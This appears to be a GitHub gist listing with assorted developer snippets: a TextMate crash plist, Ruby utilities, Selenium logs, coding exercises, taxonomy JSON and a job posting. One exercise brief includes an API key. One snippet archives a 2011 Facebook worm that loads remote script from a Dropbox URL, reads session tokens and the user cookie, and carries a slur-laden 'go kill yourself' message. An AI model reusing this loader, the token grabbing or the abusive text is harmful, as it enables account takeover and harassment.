Skip to content

Instantly share code, notes, and snippets.

View tysonmote's full-sized avatar
🤠
code cowboy

Tyson Mote tysonmote

🤠
code cowboy
View GitHub Profile
@tysonmote
tysonmote / gist:1644948
Created January 20, 2012 03:57
TextMate 2 Bundle Editor crash
Removing "<string>￿</string>" causes this language grammar to no longer crash TextMate 2 when
attempting to edit it in the bundle editor.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>fileTypes</key>
<array>
<string>_spec.coffee</string>
@tysonmote
tysonmote / gist:1185149
Created September 1, 2011 00:53
Find images that aren't referenced at all in a folder's code
`find /Users/tyson/project/images/`.split("\n").each do |path|
file = path.split("/").last
next if file.empty? || file == ".DS_Store"
result = `ack '#{file.gsub(".", "\\.")}' /Users/tyson/project`
puts path if result.empty?
end
<!DOCTYPE html>
<body>
<a id="js_button" class="no_event_fired">Click</a>
<a href="http://google.com">Link</a>
<script>
var el = document.getElementById( "js_button" );
el.addEventListener( "click", function() {
this.className = "addEventListener";
});
</script>
@tysonmote
tysonmote / facebook_hack.js
Created May 12, 2011 06:48
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
ruby-1.8.7-p302 > browser = Selenium::WebDriver.for( :chrome ) => #<Selenium::WebDriver::Driver:0x1091d18c0 browser=:chrome>
ruby-1.8.7-p302 > browser.mouse_over( :link_text => "Reporting" )
NoMethodError: undefined method `mouse_over' for #<Selenium::WebDriver::Driver:0x1091d18c0 browser=:chrome>
from (irb):40
from :0
ruby-1.8.7-p302 > mouse = Selenium::WebDriver::Mouse.new( browser )
=> #<Selenium::WebDriver::Mouse:0x1091cfcc8 @bridge=#<Selenium::WebDriver::Driver:0x1091d18c0 browser=:chrome>>
ruby-1.8.7-p302 > mouse.move_to( browser.find_element( :link_text => "Reporting" ) )
NoMethodError: undefined method `mouseMoveTo' for #<Selenium::WebDriver::Driver:0x1091d18c0 browser=:chrome>
from /Users/tyson/C2/builder/gems/gems/selenium-webdriver-0.2.0/lib/selenium/webdriver/common/mouse.rb:50:in `move_to'
@tysonmote
tysonmote / client_services.markdown
Created April 22, 2011 01:13
Client Services Code Exercise

Client Services Code Exercise

Using HTML, CSS, and JavaScript, you will create a tool that allows a user to drill down through a tree of categories and select a final category. The taxonomy data is represented as a tree of categories. A category can have any number of children. A category with no children is considered a selectable category (categories with children should not be selectable).

The taxonomy data is located at https://gist.github.com/935805

@tysonmote
tysonmote / taxonomy.json
Created April 22, 2011 01:00
Taxonomy JSON
{
"topLevelItems": ["1", "2", "3", "4"],
"items": {
"1": {
"parent": null,
"title": "Books",
"children": ["11", "12", "13"]
},
@tysonmote
tysonmote / Optionize.rb
Created November 10, 2010 23:49
Less hacky options hash
module Optionize
class AlreadyDefinedError < StandardError; end
def self.included( base )
base.extend ClassMethods
end
module ClassMethods
def optionize( key, opts={} )
getter = key
Using HTML5, light CSS, and JavaScript, create a simple page that:
1. Uses the Google AJAX search API (http://code.google.com/apis/ajaxsearch/) to grab the first 20 search results for "milksteak" on page load.
* Use this API key, if needed: ABQIAAAAqF1Nhye_hBd32k28a7rMWhSJeuis2Fs2OvaiMjL4o_3cv0KJcRQmV48seyIFWH3HU0REEkKnIqIVfQ
2. Displays the search results in a random order.
3. Allows the user to select the three most relevant results.
4. Allows the user to "submit" the results. This doesn't have to be fully implemented. It can make a hidden form and submit it or it can do it AJAX-style.
Bonus points: Make it look pretty.

#Tools Engineer

CrowdFlower is funded, growing, and, frankly, where the action is at in San Francisco. As our client base continues to grow, we need you to make sure their projects go smoothly.

Skills that are a must

HTML / CSS: You should be able to wield HTML and CSS like a sword for our clients. They often need custom user interfaces, and you'll be the person who can make them happen on tight deadlines.

JavaScript and the DOM: You should be handy with JavaScript and the DOM. You'll be using MooTools to create sweet custom interfaces for clients as needed. Although we're a MooTools shop any framework experience is fine.